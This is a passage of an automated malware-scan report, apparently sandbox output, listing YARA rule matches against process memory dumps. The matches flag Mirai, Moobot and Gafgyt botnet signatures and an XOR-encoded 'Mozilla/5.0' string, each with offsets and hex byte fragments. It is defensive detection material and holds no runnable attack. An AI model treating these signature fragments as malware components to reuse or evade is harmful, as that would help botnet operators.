0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6896.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7078.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7078.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7078.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7078.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7078.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7078.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7148.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6305.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6305.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6305.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6911.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6911.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6911.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6911.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6911.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6911.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7415.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7415.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7415.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7415.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7415.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7415.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7318.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7318.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7318.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7318.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7334.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7334.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7334.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 